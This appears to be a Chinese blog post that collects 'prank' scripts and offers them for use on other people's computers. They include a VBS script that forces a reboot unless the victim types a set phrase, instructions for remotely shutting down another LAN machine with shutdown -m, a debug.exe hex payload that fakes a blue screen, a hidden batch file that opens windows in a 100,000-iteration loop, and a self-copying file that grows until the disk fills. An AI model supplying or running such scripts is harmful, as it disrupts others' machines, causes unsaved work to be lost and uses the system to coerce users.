bat整人代码

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我爱张辰，不说就一分钟内关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我爱张辰")

a = inputbox ("说我爱张辰,就不关机，快点，说 ""我爱张辰"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说不就好啦 真是的！"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "宝儿 我也爱你"

PS 这是给我女朋友写的一段代码 你可以把上边的文字改成你想要的就可以的

文件脚本改为.vbs 就ok了

远程关机，新建一个文本文档（前提需要在文件夹管理中“隐藏文件已知的扩展名”，在控制面板中找，WIN7的话最好将控制面板图标显示改成除了分类以外的其他选项），在你新建的文本文档中输入：shutdown -m //192.168.接入IP地址同一数字.你要整的计算机同一数字 -S -T 0（前提你整的这个IP地址处于联网开机的状态），保存你的文档，然后把TXT改成BAT（前面的点不要去掉，要不然的话计算机不认的哦），点击回车（如果出现提示点击“yes”或者“是”），双击这个文件，这个计算机就被你整了，但是如果对方把远程关机给关掉或者和控制方不是同一个账户，你是整不了他的哦。但是最好不要这样子去做

1.运行后模拟蓝屏（纯属界面模拟，无任何危害，连按三次Esc键可退出)========================cut here===================================================@echo off

<"%~f0" more +6 |debug >nul

move t "BLUESRN.COM"

BLUESRN

del BLUESRN.COM

goto :eof

e0100 B4 00 B0 12 CD 10 B0 03 CD 10 B4 02 B7 00 B6 07

e0110 B2 00 CD 10 BB 00 00 B4 09 B9 09 00 8B 97 07 03

e0120 CD 21 83 C3 02 E2 F5 B8 00 B8 8E C0 BB 00 00 26

e0130 C6 47 01 17 83 C3 02 81 FB 9F 0F 77 02 EB F0 B3

e0140 00 B4 00 CD 16 3C 1B 75 F6 FE C3 80 FB 03 72 F1

e0150 B8 00 4C CD 21 00 20 20 20 20 20 20 20 20 20 20

e0160 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

e0170 20 20 20 20 20 20 20 20 20 57 69 6E 64 6F 77 73

e0180 0D 0A 24 0D 0A 24 20 20 20 20 20 41 20 66 61 74

e0190 61 6C 20 65 78 63 65 70 74 69 6F 6E 20 30 45 20

e01A0 68 61 73 20 6F 63 63 75 72 72 65 64 20 61 74 20

e01B0 30 30 32 38 3A 43 30 30 31 31 45 33 36 20 69 6E

e01C0 20 56 58 44 20 56 4D 4D 28 30 31 29 20 2B 0D 0A

e01D0 24 20 20 20 20 20 30 30 30 31 30 45 33 36 2E 20

e01E0 54 68 65 20 63 75 72 72 65 6E 74 20 61 70 70 6C

e01F0 69 63 61 74 69 6F 6E 20 77 69 6C 6C 20 62 65 20

e0200 74 65 72 6D 69 6E 61 74 65 64 2E 0D 0A 24 20 20

e0210 20 20 20 2A 20 20 50 72 65 73 73 20 61 6E 79 20

e0220 6B 65 79 20 74 6F 20 74 65 72 6D 69 6E 61 74 65

e0230 20 74 68 65 20 63 75 72 72 65 6E 74 20 61 70 70

e0240 6C 69 63 61 74 69 6F 6E 2E 0D 0A 24 20 20 20 20

e0250 20 2A 20 20 50 72 65 73 73 20 43 54 52 4C 2B 41

e0260 4C 54 2B 44 45 4C 20 61 67 61 69 6E 20 74 6F 20

e0270 72 65 73 74 61 72 74 20 79 6F 75 72 20 63 6F 6D

e0280 70 75 74 65 72 2E 20 59 6F 75 20 77 69 6C 6C 0D

e0290 0A 24 20 20 20 20 20 20 20 20 6C 6F 73 65 20 61

e02A0 6E 79 20 75 6E 73 61 76 65 64 20 69 6E 66 6F 72

e02B0 6D 61 74 69 6F 6E 20 69 6E 20 61 6C 6C 20 61 70

e02C0 70 6C 69 63 61 74 69 6F 6E 73 2E 0D 0A 24 0D 0A

e02D0 24 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

e02E0 20 20 20 20 20 20 20 20 20 20 20 20 50 72 65 73

e02F0 73 20 61 6E 79 20 6B 65 79 20 74 6F 20 63 6F 6E

e0300 74 69 6E 75 65 20 24 56 01 83 01 86 01 D1 01 0E

e0310 02 4C 02 92 02 CE 02 D1 02

rcx

219

n t

w

q========================cut here===================================================2.运行后，窗口会自动消失，然后打开最大化的C:\WINDOWS，无论缩小还是关掉，都会有个最大化的窗口置顶========================cut here===================================================@echo off

if "%1" == "h" goto begin

mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit

:begin

for /l %%i in (1,1,100000) do start /max C:\WINDOWS========================cut here===================================================3.很简短的一段代码，但很有趣，有点像程序大战，运行后，看到好像停了的时候就关了它，再看看原来文件的大小，会变得很大，再看看它的代码，已经变了,我运行后等了2秒关了，大小变成了30.2MB了========================cut here===================================================type %0>>%0 ========================cut here===================================================这个要注意有两行，打完第一行是有一个回车的

---